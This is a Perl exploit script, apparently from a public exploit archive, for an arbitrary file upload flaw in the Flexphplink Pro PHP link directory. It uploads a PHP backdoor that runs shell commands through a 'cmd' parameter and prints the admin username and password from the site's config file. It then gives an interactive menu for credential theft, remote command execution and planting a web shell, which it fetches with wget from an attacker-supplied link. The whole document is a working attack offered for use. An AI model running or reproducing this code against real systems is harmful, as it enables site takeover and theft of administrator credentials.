#!/usr/bin/perl
# HAPPY CHRISTMAS !!
# Flexphplink Pro
# http://www.hotscripts.com/jump.php?listing_id=21062&jump_type=1
# Bug: Arbitrary File Upload
# * I coded this exploit just for fun ;)
# Exploit coded by Osirys
# osirys[at]live[dot]it
# http://osirys.org
# Greets: x0r, miclen, emgent, str0ke, Todd and AlpHaNiX
# Example:
# osirys[~]>$ perl exp.txt http://localhost/flexphplinkproen/
# ============================
# Flexphplink Pro Exploit
# Coded by Osirys
# osirys[at]live[dot]it
# Proud to be italian
# ============================
# [+] http://localhost/flexphplinkproen/ backdoored, just type your choise:
# 1 - Admin Details Disclosure
# 2 - Arbitrary Command Execution
# 3 - Shell upload
# 4 - Exit
# 1
# [+] Extracting Admin Login Details .
# [+] Done:
# Username: admin
# Password: adminz
# osirys[~]>$
use HTTP::Request;
use LWP::UserAgent;
my $path = "/submitlink.php";
my $u_path = "/linkphoto/";
my $l_file = "back.php";
my $code = "<?php echo \"<b>RCE backdoor</b><br><br>\";if(!empty(\$_GET['cmd'])&&empty".
"(\$_GET['adm'])){echo\"<b>CMD: </b>\";system(\$_GET['cmd']);}elseif((\$_GET".
"['adm']==\"get\")&&empty(\$_GET['cmd'])){if(is_file(\"../const.inc.php3\" )".
"){include('../const.inc.php3');}elseif(is_file(\"../const.inc.php\")){ incl".
"ude ('../const.inc.php');}echo \"<b>Username: </b>\$admin_username\"; echo".
"\"<br>\"; echo \"<b>Password: </b>\$admin_password\"; } ?>";
my $host = $ARGV[0];
($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
open ($file, ">", $l_file);
print $file "$code\n";
close ($file);
$dir = `pwd`;
my $f_path = $dir."/".$l_file;
$f_path =~ s/\n//;
my $url = $host.$path;
my $ua = LWP::UserAgent->new;
$time = time();
my $post = $ua->post($url,
Content_Type => 'form-data',
Content => [
title => 'abco',
url => 'def',
userfile => [$f_path, '.php'],
addlink => 'Add'
]
);
if (($post->is_success)&&($post->as_string=~ /Thank you for your submission/)) {
`rm -rf $f_path`;
cheek_fname($time);
($rcefile) || die "[-] Unable to find phpscript uploaded\n";
&go;
}
else {
print "[-] Unable to upload evil php-code !\n";
exit(0);
}
sub go() {
my $error = $_[0];
if ($error == -1) {
print "[-] Bad Choice\n\n";
}
elsif ($error == -2) {
print "[-] Bad shell url\n\n";
}
print "[+] $host backdoored, just type your choise:\n".
" 1 - Admin Details Disclosure\n".
" 2 - Arbitrary Command Execution\n".
" 3 - Shell upload\n".
" 4 - Exit\n";
$choice = <STDIN>;
$choice =~ /1|2|3|4/ || go("-1");
if ($choice == 1) {
&adm_disc;
}
elsif ($choice == 2) {
&exec_cmd;
}
elsif ($choice == 3) {
&shell_up;
}
elsif ($choice == 4) {
print "[-] Quitting ..\n";
exit(0);
}
}
sub adm_disc {
print "[+] Extracting Admin Login Details ..\n";
$exec_url = ($host.$u_path.$time.".php?adm=get");
$re = query($exec_url);
if ($re =~ /Username: <\/b>(.*)<br><b>Password: <\/b>(.*)/) {
my($user,$pass) = ($1,$2);
print "[+] Done: \n".
" Username: $user\n".
" Password: $pass\n";
}
else {
print "[-] Can't extract Admin Details.\n\n";
&go;
}
}
sub exec_cmd {
print "shell\$>\n";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..\n";
$exec_url = ($host.$u_path.$time.".php?cmd=".$cmd);
$re = query($exec_url);
if ($re =~ /<b>CMD: <\/b>(.*)/) {
print "[*] $1\n";
&exec_cmd;
}
else {
print "[-] Undefined output or bad cmd !\n";
&exec_cmd;
}
}
sub shell_up {
print "[+] Type now a link for your .txt shell\n".
" Shell name must be with .txt extension\n";
$s_link = <STDIN>;
$s_link =~ /.*\/(.*)\.txt/ || &go("-2");
$s_name = $1;
$exec_url = ($host.$u_path.$time.".php?cmd=wget ".$s_link);
$exec_url2 = ($host.$u_path.$time.".php?cmd=mv ".$s_name.".txt ".$s_name.".php");
query($exec_url); query($exec_url2);
print "[+] Your shell should be here: ".$host.$u_path.$s_name.".php\n";
}
sub cheek_fname() {
my $time = $_[0];
my $name = $time.".php";
$re = query($host.$u_path.$name);
if ($re =~ /<b>RCE backdoor<\/b>/) {
$rcefile = $name;
return;
}
}
sub query() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}
sub banner {
print "\n".
" ============================ \n".
" Flexphplink Pro Exploit \n".
" Coded by Osirys \n".
" osirys[at]live[dot]it \n".
" Proud to be italian \n".
" ============================ \n\n";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "\n[-] Cheek that you provide a hostname address!\n";
}
elsif ($error == -2) {
&banner;
print "\n[-] Bad hostname address !\n";
}
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
exit(0);
}
